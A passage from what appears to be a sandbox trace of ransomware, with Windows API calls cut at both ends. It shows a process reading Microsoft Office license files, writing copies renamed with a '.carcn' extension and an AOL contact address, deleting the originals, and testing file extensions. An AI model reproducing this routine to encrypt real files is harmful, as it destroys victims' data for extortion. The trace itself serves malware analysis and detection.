lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=10659) returned 1 [0287.061] CloseHandle (hObject=0x564) returned 1 [0287.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 0x220 [0287.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.062] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.062] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0287.064] GetLastError () returned 0x0 [0287.064] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x29a3, lpOverlapped=0x0) returned 1 [0287.097] WriteFile (in: hFile=0x560, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0287.099] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.099] WriteFile (in: hFile=0x560, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x112, lpOverlapped=0x0) returned 1 [0287.099] SetEndOfFile (hFile=0x560) returned 1 [0287.099] CloseHandle (hObject=0x560) returned 1 [0287.099] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.099] SetEndOfFile (hFile=0x564) returned 1 [0287.106] CloseHandle (hObject=0x564) returned 1 [0287.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 1 [0287.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0287.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0287.111] lstrlenW (lpString=".doc") returned 4 [0287.111] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.111] lstrlenW (lpString=".docx") returned 5 [0287.111] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.112] lstrlenW (lpString=".pdf") returned 4 [0287.112] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.112] lstrlenW (lpString=".xls") returned 4 [0287.112] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.112] lstrlenW (lpString=".xlsx") returned 5 [0287.112] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.112] lstrlenW (lpString=".ppt") returned 4 [0287.112] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0287.112] lstrlenW (lpString=".zip") returned 4 [0287.112] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.112] lstrlenW (lpString=".rar") returned 4 [0287.112] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.112] lstrlenW (lpString=".bz2") returned 4 [0287.112] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.112] lstrlenW (lpString=".7z") returned 3 [0287.112] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0287.112] lstrlenW (lpString=".dbf") returned 4 [0287.112] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0287.112] lstrlenW (lpString=".1cd") returned 4 [0287.112] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0287.112] lstrlenW (lpString=".jpg") returned 4 [0287.113] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0287.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0287.113] lstrlenW (lpString=".doc") returned 4 [0287.113] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.113] lstrlenW (lpString=".docx") returned 5 [0287.113] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.113] lstrlenW (lpString=".pdf") returned 4 [0287.113] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.113] lstrlenW (lpString=".xls") returned 4 [0287.113] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.113] lstrlenW (lpString=".xlsx") returned 5 [0287.113] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.113] lstrlenW (lpString=".ppt") returned 4 [0287.113] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0287.113] lstrlenW (lpString=".zip") returned 4 [0287.113] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.113] lstrlenW (lpString=".rar") returned 4 [0287.113] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.114] lstrlenW (lpString=".bz2") returned 4 [0287.114] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.114] lstrlenW (lpString=".7z") returned 3 [0287.114] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0287.114] lstrlenW (lpString=".dbf") returned 4 [0287.114] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0287.114] lstrlenW (lpString=".1cd") returned 4 [0287.114] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0287.114] lstrlenW (lpString=".jpg") returned 4 [0287.114] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.114] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0287.114] lstrlenW (lpString="HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 35 [0287.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.115] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11613) returned 1 [0287.115] CloseHandle (hObject=0x564) returned 1 [0287.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 0x220 [0287.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.116] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.116] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0287.117] GetLastError () returned 0x0 [0287.117] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d5d, lpOverlapped=0x0) returned 1 [0287.120] WriteFile (in: hFile=0x560, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0287.121] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.121] WriteFile (in: hFile=0x560, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x11a, lpOverlapped=0x0) returned 1 [0287.121] SetEndOfFile (hFile=0x560) returned 1 [0287.121] CloseHandle (hObject=0x560) returned 1 [0287.121] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.121] SetEndOfFile (hFile=0x564) returned 1 [0287.124] CloseHandle (hObject=0x564) returned 1 [0287.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 1 [0287.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0287.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0287.126] lstrlenW (lpString=".doc") returned 4 [0287.126] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.126] lstrlenW (lpString=".docx") returned 5 [0287.126] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.126] lstrlenW (lpString=".pdf") returned 4 [0287.126] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.126] lstrlenW (lpString=".xls") returned 4 [0287.126] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.126] lstrlenW (lpString=".xlsx") returned 5 [0287.126] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.126] lstrlenW (lpString=".ppt") returned 4 [0287.126] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0287.127] lstrlenW (lpString=".zip") returned 4 [0287.127] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.127] lstrlenW (lpString=".rar") returned 4 [0287.127] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.127] lstrlenW (lpString=".bz2") returned 4 [0287.127] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.127] lstrlenW (lpString=".7z") returned 3 [0287.127] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0287.127] lstrlenW (lpString=".dbf") returned 4 [0287.127] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0287.127] lstrlenW (lpString=".1cd") returned 4 [0287.127] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0287.127] lstrlenW (lpString=".jpg") returned 4 [0287.127] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0287.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0287.127] lstrlenW (lpString=".doc") returned 4 [0287.127] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.127] lstrlenW (lpString=".docx") returned 5 [0287.127] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.128] lstrlenW (lpString=".pdf") returned 4 [0287.128] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.128] lstrlenW (lpString=".xls") returned 4 [0287.128] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.128] lstrlenW (lpString=".xlsx") returned 5 [0287.128] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.128] lstrlenW (lpString=".ppt") returned 4 [0287.128] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0287.128] lstrlenW (lpString=".zip") returned 4 [0287.128] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.128] lstrlenW (lpString=".rar") returned 4 [0287.128] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.128] lstrlenW (lpString=".bz2") returned 4 [0287.128] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.128] lstrlenW (lpString=".7z") returned 3 [0287.128] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0287.128] lstrlenW (lpString=".dbf") returned 4 [0287.128] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0287.129] lstrlenW (lpString=".1cd") returned 4 [0287.129] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0287.129] lstrlenW (lpString=".jpg") returned 4 [0287.129] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.129] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0287.129] lstrlenW (lpString="HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 35 [0287.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.130] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=19958) returned 1 [0287.130] CloseHandle (hObject=0x564) returned 1 [0287.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 0x220 [0287.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.131] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.131] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0287.136] GetLastError () returned 0x0 [0287.136] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x4df6, lpOverlapped=0x0) returned 1 [0287.362] WriteFile (in: hFile=0x560, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0287.363] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.363] WriteFile (in: hFile=0x560, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x11a, lpOverlapped=0x0) returned 1 [0287.363] SetEndOfFile (hFile=0x560) returned 1 [0287.364] CloseHandle (hObject=0x560) returned 1 [0287.364] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.364] SetEndOfFile (hFile=0x564) returned 1 [0287.367] CloseHandle (hObject=0x564) returned 1 [0287.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 1 [0287.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0287.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0287.369] lstrlenW (lpString=".doc") returned 4 [0287.369] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.369] lstrlenW (lpString=".docx") returned 5 [0287.369] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.369] lstrlenW (lpString=".pdf") returned 4 [0287.369] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.369] lstrlenW (lpString=".xls") returned 4 [0287.369] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.369] lstrlenW (lpString=".xlsx") returned 5 [0287.369] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.369] lstrlenW (lpString=".ppt") returned 4 [0287.369] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0287.369] lstrlenW (lpString=".zip") returned 4 [0287.369] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.369] lstrlenW (lpString=".rar") returned 4 [0287.369] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.369] lstrlenW (lpString=".bz2") returned 4 [0287.369] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.370] lstrlenW (lpString=".7z") returned 3 [0287.370] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0287.370] lstrlenW (lpString=".dbf") returned 4 [0287.370] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0287.370] lstrlenW (lpString=".1cd") returned 4 [0287.370] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0287.370] lstrlenW (lpString=".jpg") returned 4 [0287.370] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0287.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0287.370] lstrlenW (lpString=".doc") returned 4 [0287.370] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.370] lstrlenW (lpString=".docx") returned 5 [0287.370] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.370] lstrlenW (lpString=".pdf") returned 4 [0287.370] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.370] lstrlenW (lpString=".xls") returned 4 [0287.370] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.370] lstrlenW (lpString=".xlsx") returned 5 [0287.370] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.370] lstrlenW (lpString=".ppt") returned 4 [0287.371] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0287.371] lstrlenW (lpString=".zip") returned 4 [0287.371] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.371] lstrlenW (lpString=".rar") returned 4 [0287.371] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.371] lstrlenW (lpString=".bz2") returned 4 [0287.371] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.371] lstrlenW (lpString=".7z") returned 3 [0287.371] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0287.371] lstrlenW (lpString=".dbf") returned 4 [0287.371] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0287.371] lstrlenW (lpString=".1cd") returned 4 [0287.371] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.371] lstrlenW (lpString="C:\\Program Files\\Microsoft 